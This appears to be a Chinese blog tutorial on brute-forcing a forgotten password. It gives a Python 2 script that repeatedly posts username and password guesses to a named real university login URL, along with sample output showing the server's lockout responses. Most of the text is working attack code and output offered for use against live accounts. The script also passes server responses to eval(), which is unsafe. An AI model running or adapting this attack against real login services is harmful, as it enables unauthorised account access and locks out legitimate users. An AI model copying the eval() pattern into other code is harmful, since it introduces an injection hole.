准备
忘记了密码?试一试暴力破解吧
打开F12,填写用户名、密码后,点击登录,看到请求头信息、提交的表单信息,例如下图:
也可以看到此次登录请求发送到的 url:
也可以看到此次请求返回的结果:
遍历数字字母组合密码
根据以上,可以用Python伪造请求,遍历所有密码(注意多数网站会有尝试次数限制…)
(以下代码遍历的是所有不重复的字符组合,比如不会尝试111222
这样的密码,此处待改进)
# -*- coding: utf-8 -*-
import cookielib
import urllib
import urllib2
from itertools import combinations
USERNAME = '这里填写用户名'
def submit_form(username, password):
cj = cookielib.CookieJar()
# 模拟 post 的表单数据
post_data = urllib.urlencode({'username': username, 'password': password})
# 登录请求发送到的 url
path = 'https://itsapp.bjut.edu.cn/uc/wap/login/check'
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
opener.addheaders = [('User-agent', 'Mozilla/5.0 (Windows NT 6.1; rv:20.0) Gecko/20100101 Firefox/20.0')]
urllib2.install_opener(opener)
req = urllib2.Request(path, post_data)
conn = urllib2.urlopen(req)
json_data = urllib2.urlopen(req).read()
json_last = eval(json_data)
print urllib2.urlopen(req).read()
result_code = json_last["e"]
if result_code == 0:
print ('破解成功!密码是:' + password)
else:
print ('密码错误,当前测试:' + password)
def gen_password():
list1 = ['1', '2', '3', '4', '5', '6', '7', '8', '9',
'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z']
for i in range(6, len(list1)): # 6位以上不重复字符密码组合
combine(list1, i)
def combine(temp_list, n):
'''根据n获得列表中的所有可能组合(n个元素为一组)'''
# temp_list2 = []
for c in combinations(temp_list, n):
pwd_str = ''.join(c)
print pwd_str
submit_form(USERNAME, pwd_str)
if __name__ == "__main__":
gen_password()
输出结果:
123456
{"e":1,"m":"账号或密码错误","d":{}}
密码错误,当前测试:123456
123457
{"e":1,"m":"账号或密码错误","d":{}}
密码错误,当前测试:123457
123458
{"e":10016,"m":"错误次数已达最大上限,请稍后再试","d":{}}
密码错误,当前测试:123458
123459
{"e":10016,"m":"错误次数已达最大上限,请稍后再试","d":{}}
密码错误,当前测试:123459
12345a
{"e":10016,"m":"错误次数已达最大上限,请稍后再试","d":{}}
密码错误,当前测试:12345a
12345b
尝试的密码组合示例如下:
123456
123457
123458
123459
12345a
12345b
12345c
12345d
12345e
12345f
12345g
12345h
12345i
12345j
12345k
12345l
12345m
12345n
12345o
12345p
12345q
12345r
12345s
...